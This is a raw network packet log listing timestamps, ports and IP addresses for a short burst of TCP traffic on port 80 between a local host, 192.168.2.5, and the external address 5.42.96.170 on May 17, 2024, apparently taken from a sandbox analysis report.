May 17, 2024 23:45:16.103326082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103334904 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103343964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103353024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103363037 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103363037 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103363037 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103363037 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103363037 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103374958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103387117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103395939 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103395939 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103410959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103420019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103430033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103439093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103447914 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103456974 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103467941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103477955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103487968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103497028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103526115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103526115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103526115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103526115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103526115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103527069 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103527069 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103539944 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.103548050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.103714943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104017019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104027033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104034901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104043961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104053020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104123116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104123116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104123116 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104151011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104161024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104168892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104177952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104187012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104197025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104206085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104218006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104227066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104237080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104248047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104248047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104248047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104248047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104259014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104268074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104281902 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104291916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104301929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104315996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104315996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104315996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104326963 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104739904 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104746103 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104754925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104763985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104773998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104784012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104794025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104938030 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104938030 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104938030 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104938030 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.104948044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104958057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104967117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104976892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104985952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.104995966 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105005980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105015039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105024099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105032921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105043888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105052948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105068922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105070114 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105070114 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105070114 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105070114 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105078936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105091095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105102062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105113029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105123043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105134010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105144024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105144024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105144024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105144024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105144024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105168104 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105178118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105189085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105194092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105194092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105206013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105215073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105223894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105278015 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105278015 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105278015 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105278015 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105545998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105556965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105566025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105576038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105619907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105619907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105694056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105703115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105710983 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105721951 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105731010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105741978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105751038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105762005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105772018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105781078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105791092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105798960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105809927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105809927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105809927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105809927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105809927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105822086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105850935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105860949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105869055 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105876923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105885029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105895996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105905056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105915070 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105915070 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105915070 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105915070 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105915070 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.105933905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105943918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105952024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105959892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105969906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105979919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105988979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.105998993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106009007 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106009007 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106009007 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106009007 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106009007 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106025934 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106029987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106044054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106053114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106062889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106071949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106081963 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106091022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106101036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106111050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106111050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106111050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106111050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106111050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106123924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106132984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106142044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106149912 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106149912 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106158018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106168032 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106178045 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106194019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106204033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106204033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106204033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106204033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106204033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106215954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106225967 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106235027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106244087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106252909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106262922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106271982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106287003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106296062 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106296062 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106296062 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106296062 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106296062 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106307983 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106318951 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106328011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106342077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106352091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106360912 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106369972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106369972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106369972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106369972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106369972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106369972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106383085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106394053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106403112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106408119 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106414080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106431007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106442928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106452942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106462955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106472969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106482029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106492043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106492043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106492043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106492043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106492043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106509924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106519938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106528044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106539011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106549025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106559038 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106559038 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106559038 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106570005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106576920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106585979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106592894 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106601954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106611013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106620073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106630087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106640100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106650114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106661081 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106661081 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106661081 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106661081 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106661081 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106669903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106688976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106693983 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106702089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106714010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106723070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106733084 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106741905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106750965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106760025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106760025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106760025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106776953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106789112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106789112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106794119 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106805086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106813908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106823921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106832981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106843948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106853008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106863976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106873035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106883049 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106883049 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106883049 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106883049 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106900930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106909990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106920958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106920958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106928110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106936932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106950998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106956959 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106956959 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.106966019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106981993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.106992960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107002020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107012033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107019901 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107019901 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107019901 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107019901 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107019901 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107039928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107048988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107059956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107059956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107067108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107078075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107086897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107096910 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107105970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107115984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107125998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107135057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107144117 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107144117 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107144117 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107144117 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107144117 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107156038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107167006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107177019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107183933 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107183933 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107189894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107198954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107208014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107218027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107228994 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107240915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107249975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107259035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107269049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107283115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107283115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107283115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107283115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107292891 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.107297897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.107305050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.111244917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.120548964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.122267008 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.188230991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.189217091 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.234199047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.234214067 CEST	80	49707	5.42.96.170	192.168.2.5
